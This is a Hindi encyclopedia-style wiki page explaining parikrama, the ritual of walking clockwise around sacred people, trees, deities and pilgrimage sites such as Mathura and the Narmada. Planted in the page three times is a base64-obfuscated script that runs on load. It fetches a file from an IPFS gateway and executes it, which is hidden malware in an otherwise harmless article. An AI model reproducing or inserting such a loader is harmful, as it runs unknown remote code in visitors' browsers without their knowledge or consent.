परिक्रमा

भारत डिस्कवरी प्रस्तुति
सोनू (चर्चा | योगदान) द्वारा परिवर्तित 05:48, 7 अप्रैल 2011 का अवतरण
यहाँ जाएँ:भ्रमण, खोजें
  • सामान्य स्थान या व्यक्ति के चारों ओर उसकी दाहिनी तरफ़ से घूमने को परिक्रमा कहते हैं।
  • इसको प्रदक्षिणा करना भी कहते हैं, जो षोडशोपचार पूजा का एक अंग है।
  • प्राय: सोमवती अमावास्या को महिलाएँ पीपल वृक्ष की 108 परिक्रमाएँ करती हैं।
  • इसी प्रकार दुर्गा देवी की परिक्रमा की जाती है।
  • पवित्र धर्मस्थानों, अयोध्या, मथुरा आदि पुण्यपुरियों की पंचकोशी (25 कोस की), ब्रज में गोवर्धन पूजा की सप्तकोसी, ब्रह्ममंडल की चौरासी कोस, नर्मदा जी की अमरकंटक से समुद्र तक छ:मासी और समस्त भारत खण्ड की वर्षों में पूरी होने वाली - इस प्रकार की विविध परिक्रमाएँ भूमि में पद-पद पर दण्डवत लेटकर पूरी की जाती है। यही 108-108 बार प्रति पद पर आवृत्ति करके वर्षों में समाप्त होती है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ